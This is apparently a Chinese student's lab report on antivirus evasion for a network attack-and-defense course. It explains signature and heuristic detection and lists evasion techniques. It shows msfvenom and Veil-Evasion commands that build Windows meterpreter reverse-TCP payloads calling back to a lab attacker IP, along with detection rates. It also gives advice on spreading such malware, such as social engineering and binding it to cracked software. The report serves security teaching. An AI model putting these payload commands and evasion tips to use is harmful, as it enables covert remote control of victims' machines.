zoukankan      html  css  js  c++  java
  • 2017-2018-2 20179223《网络攻防技术》第十三周作业

    基础问题回答

    1.杀软是如何检测出恶意代码的?

    (1)基于特征码的检测

    学习信息安全概论的时候,我们知道一段特征码就是一串数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV(不是那个av^^)要做的就是尽量搜集最全的、最新的特征码库。

    (2)启发式恶意软件检测

    其主要特点是根据片面特征去推断,感觉有点像墨菲法则,就是如果你认为他是坏人,那就是了……是不是太一刀切了,所以嘛,他是概率性的。

    (3)基于行为的恶意软件检测

    这属于启发式的一种,或是行为监控的启发式。  

    2.免杀是做什么?

    免杀就是指恶意程序通过伪装或漏洞,逃过杀软的查杀。

    3.免杀的基本方法有哪些?

    (1)改变特征码:

    加壳或加伪装壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
    用encode进行编码,重组
    用其他语言进行重写再编译 
      
    (2)改变行为

    • 改变通讯方式

    尽量使用反弹式连接
    使用隧道技术
    加密通讯数据

    • 改变操作模式

    基于内存操作
    减少对系统的修改
      
    (3)非常规方法

    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    使用社工类攻击,诱骗目标关闭AV软件。
    纯手工打造一个恶意软件。

    2.实践总结与体会

    这次实验主要是实现免杀,尤其是自己利用shellcode编写了一个恶意代码,将其植入目标主机,杀毒软件几乎发现不了, 可见我们不能一味地依赖杀软。再有就是感觉要实现免杀有很多种方法,加壳的方法也很多,包括可以利用密码学的知识, 给恶意代码加密,这样杀软就有很大可能检测不出来,还有很多方法值得去实践。

    3.离实战还缺些什么技术或步骤?

    • 若说要真正实现实战,单单有恶意程序是不够的,即使躲过了杀毒软件,但要想要让更多人的人去下载你的程序,就需要在社会工程学上多下心思了。

    • 另外服务器也需要我们去搭建,这样覆盖范才能广泛,并保证控制端的监听状态稳定。

    • 面对杀软,要做到与时俱进,实时更新程序,杀软的病毒库是在不断的扩充当中,只有你的更新速度超过杀软的扩充速度,才能真正实现大范围的隐蔽的攻击。

    • 可以通过在用户迫切需要使用的正常程序上绑定恶意程序。例如破解程序等。

    4.实践过程记录

    (1)msfvenom直接生成meterpreter可执行文件

    windows ip:192.168.39.131
    kali ip:192.168.39.144
    根据攻击机的IP用msfvenom直接生成meterpreter可执行文件

    将其复制到Windows桌面,一开始防火墙会自动隔离,打开防火墙允许该文件,将文件传至网站:www.virscan.org进行检测,检测结果如下:

    通过上面的实验可以看出现在编码的方式没有免杀的功能,还是要变换方式进行免杀的改造

    (2)用Veil-Evasion生成可执行文件

    kali原本没有veil-evasion ,所以需要先安装

    我们直接从 github 上进行 clone 下载:

    git clone https://www.github.com/Veil-Framework/Veil-Evasion.git
    

    之后步骤详见:https://zhuanlan.zhihu.com/p/22960588?refer=xh-coding

    在以上一系列繁杂的安装过程后下面我们就可以来正常使用 Veil-Evasion 啦!我们进入到Veil-Evasion目录下,执行如下命令:

    python Veil-Evasion.py
    

    按照menu提示进行相关操作:

    menu下依次输入语言、ip、文件名及端口号等

    注意:由于自己的电脑没法生成文件,此处换了另一个IP,不影响最终结果。

    use c/meterpreter/rev_tcp_service.py
    set LHOST 192.168.119.18
    set LPORT 443
    generate
    lx
    

    将生成的文件复制到主机,上传网站:www.virscan.org进行检测

    15%的杀毒软件报告发现病毒。

    (3)使用c语言调用shellcode

    使用命令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.39.144 LPORT=443 -f c

    把生成的代码从虚拟机中复制出来,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。

    检测结果如下:

    7%的杀毒软件报告发现病毒。

    5.遇到的问题与解决过程

    use c/meterpreter/rev_tcp_service.py
    set LHOST 192.168.39.144
    generate
    9223
    1
    

    之后就显示如下界面,没法生成文件

    之后根据提示执行update.py,问题还是没有得到解决,相反51 playloads loaded变成了0 playloads loaded。从网上搜也没有相关的解决办法。

    所以我就换了一台电脑做,然后就成功生成文件了。

  • 相关阅读:
    详细的描述一个测试活动完整的过程
    黑盒测试的测试用例常见设计方法都有哪些?请分别以具体的例子来说明这些方法在测试用例设计工作中的应用。
    测试计划工作的目的是什么?测试计划文档的内容应该包括什么?其中哪些是最重要的?
    redo log 有什么作用?
    Spring的简介和优点?
    java的语法基础(二)
    相对于Statement,PreparedStatement的优点是什么?
    MyBatis 的好处是什么?
    python中字符串的编码和解码
    相对于Statement,PreparedStatement的优点是什么?
  • 原文地址:https://www.cnblogs.com/9223lx/p/9083374.html
Copyright © 2011-2022 走看看